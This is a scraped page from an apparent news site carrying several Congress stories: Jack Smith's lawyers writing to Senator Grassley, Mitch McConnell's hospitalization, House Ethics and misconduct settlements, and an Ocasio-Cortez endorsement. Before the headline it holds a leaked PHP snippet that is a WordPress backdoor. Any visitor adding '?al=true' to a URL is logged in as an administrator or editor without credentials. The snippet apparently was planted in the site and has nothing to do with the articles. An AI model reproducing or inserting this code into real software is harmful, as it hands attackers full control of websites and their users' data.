// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Jack Smith takes a swipe at Trump – Blue Light News
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Congress

Jack Smith takes a swipe at Trump

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8 months ago

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Jack Smith, the Biden era special counsel under renewed scrutiny by congressional Republicans, is taking an apparent swipe at President Donald Trump.

In a new letter sent Friday to Senate Judiciary Chair Chuck Grassley (R-Iowa), obtained by Blue Light News, lawyers for Smith argue that politics had no influence over their client’s investigations into Trump and agreed it would be unacceptable for any occupant of the White House to leverage law enforcement against a perceived enemy.

“Such political meddling in prosecutorial decision making undermines the credibility of the Justice Department and the integrity of any subsequent enforcement actions,” Lanny Breuer and Peter Koski, lawyers at the firm Covington & Burling, wrote to Grassley. “Political meddling in prosecutorial actions also risks turning impartial law enforcement agencies into partisan tools to protect the President’s allies and punish his perceived adversaries.”

It’s a not-so-veiled jab at Trump, who has faced scrutiny for publicly directing his attorney general to prosecute current or former government officials who investigated him or his campaign.

House and Senate Republicans have been probing whether Smith’s former investigations into Trump’s alleged mishandling of classified documents and efforts to subvert the results of the 2020 presidential election were motivated by a desire to undermine Republicans. Many Republicans believe Smith’s work is evidence the Justice Department under then-President Joe Biden unfairly targeted conservatives, namely Trump.

Smith ultimately moved to dismiss the criminal cases he brought against Trump after his reelection in 2024, a decision Smith said was driven by Trump’s return to the White House and not the strength of the government’s case.

But Grassley and House Judiciary Chair Jim Jordan (R-Ohio) now want to hear from Smith regarding new revelations the ex-special counsel obtained the phone records of several congressional Republicans as a part of his investigation into Trump’s election interference.

Grassley has said he needs to first gather more information, and Jordan has requested a transcribed interview with Smith. But Smith, through lawyers, has maintained that he wants to speak with lawmakers in a public forum.

Grassley also has asked Smith to answer a number of questions about his investigations. Among them, Grassley wants to know whether he or his staff communicated with Biden White House officials as part of their work and the nature of those communications.

The Iowa Republican also requested further information on Smith’s move to obtain lawmakers’ phone records and information on whether Smith received the data of GOP donors.

In the new letter sent Friday, lawyers for Smith reiterated the request that their client testify in a public reform but did not answer Grassley’s questions.

“Mr. Smith is fully committed to providing information about the work of the Special Counsel’s Office, and we are committed to working with you to provide the public an opportunity to hear directly from Mr. Smith regarding his work,” the attorneys wrote.

Smith has asked the Department of Justice for guidance on what information he can share with lawmakers and for the ability to review files that supported his case to prepare his testimony.

The DOJ has indicated it received the letter and said it would provide more information but has yet to do so, according to a person granted anonymity to describe private correspondence.

A spokesperson for Smith declined to comment.

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Congress

Mitch McConnell is still in the hospital after medical episode, his office says

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1 day ago

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July 2, 2026

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Sen. Mitch McConnell remains hospitalized, his office said in a statement Thursday — without offering details about a recent medical episode that has renewed concern about the health of the former Republican majority leader.

McConnell “continues his recovery in the hospital” and “continues to improve,” his office said.

“Senator McConnell appreciates the outpouring of support he’s receiving while he continues his recovery in the hospital,” the statement said. “The Senator continues to improve, and is working closely with his staff on Kentucky and Senate matters while the Senate is out of session.”

The statement did not explain why he was hospitalized last month.

The update comes after multiple outlets reported details of a first responder dispatch call indicating emergency medical personnel responded to McConnell’s home last month to treat an unconscious person who had experienced “cardiac arrest.”

Blue Light News has not independently verified the dispatch call.

The 84-year-old senator, who is retiring at the end of this term, has experienced multiple medical incidents in recent years. On two occasions in 2023, he froze while speaking with reporters. He has also suffered multiple falls and temporarily used a wheelchair, a move his office described at the time as a precautionary measure.

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Congress

House Ethics says it doesn’t have information to share on lawmaker sexual misconduct settlements

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1 day ago

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July 2, 2026

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The House adopted a resolution Tuesday requiring the House Ethics Committee to release information on taxpayer funds used to pay out sexual misconduct settlements with lawmakers — but the committee now says it has no information it can share.

In a statement Thursday, the committee reiterated it does not manage sexual harassment lawsuits or their settlements; taxpayers have not footed the bill for those payments since 2018.

Since that time, according to the statement, “the Committee has not been notified of any awards or settlements relating to allegations of sexual harassment, sexual abuse, or other sexual misconduct by a Member.”

Instead, the bipartisan Ethics Committee said it was up to the Office of Congressional Workplace Rights to publicly release a list of each member who has received settlements for sexual misconduct allegations, as mandated by the resolution championed by Rep. Thomas Massie (R-Ky.).

The committee, in the Thursday statement, said it “fully supports the release of information about sexual misconduct settlements and calls on OCWR to abide by [the resolution] and make publicly available information about Member sexual misconduct matters resulting in payment of taxpayer funds.”

Massie, in a text message Thursday, said “OCWR can release it.”

The OCWR did not immediately respond to a request for comment.

The bipartisan Ethics Committee has been under pressure in recent months to show it takes allegations of sexual misconduct against colleagues seriously. Two former House members — Eric Swalwell (D-Calif.) and Tony Gonzales (R-Texas) — were forced to resign earlier this year amid serious accusations against them.

The renewed reckoning has prompted new questions about whether the House is up to the task of policing its own. The resolution earlier this week was adopted nearly unanimously, with just one member, Rep. Nancy Mace (R-S.C.), voting “present.”

House Ethics Chair Michael Guest (R-Miss.) said in an interview earlier this week that while he would support Massie’s resolution, the relevant “information was already out in the public domain.”

Meredith Lee Hill contributed to this report.

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Congress

AOC endorses El-Sayed in Michigan Senate race

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1 day ago

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July 2, 2026

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Rep. Alexandria Ocasio-Cortez (D-N.Y.) endorsed Abdul El-Sayed’s campaign for Michigan’s open Senate seat on Thursday, a decision that comes as progressives look to capitalize off a series of recent high-profile primary victories in New York, Colorado and elsewhere.

Her endorsement could provide El-Sayed with a critical boost just over a month before the state’s Aug. 4 primary. The former public health official is locked in a heated contest against Rep. Haley Stevens (D-Mich.) and state Sen. Mallory McMorrow for the right to take on Republican Mike Rogers in the general election.

It also comes as El-Sayed has risen to the top of the pack in recent public polling.

Virtually any Democratic path to flipping the Senate in this year’s midterms would see the party hold the open Michigan Senate seat, with two-term Sen. Gary Peters (D-Mich.) retiring at the end of his term.

The race has emerged as perhaps the largest battleground over the ideological future of the party. El-Sayed, who unsuccessfully ran for governor in 2018, has collected endorsements from progressives, while Stevens has the tacit backing of Senate Minority Leader Chuck Schumer, with AIPAC also boosting her candidacy.

El-Sayed, Ocasio-Cortez said in an interview with The New York Times, is her party’s best chance.

“Despite our ideological differences and whatever disagreements there are in the party, every single one of us sees this moment as existential,” she said. “And I think many people are willing to put aside differences in order to give us the best chance at winning. And I think that Abdul gives us that right now.”

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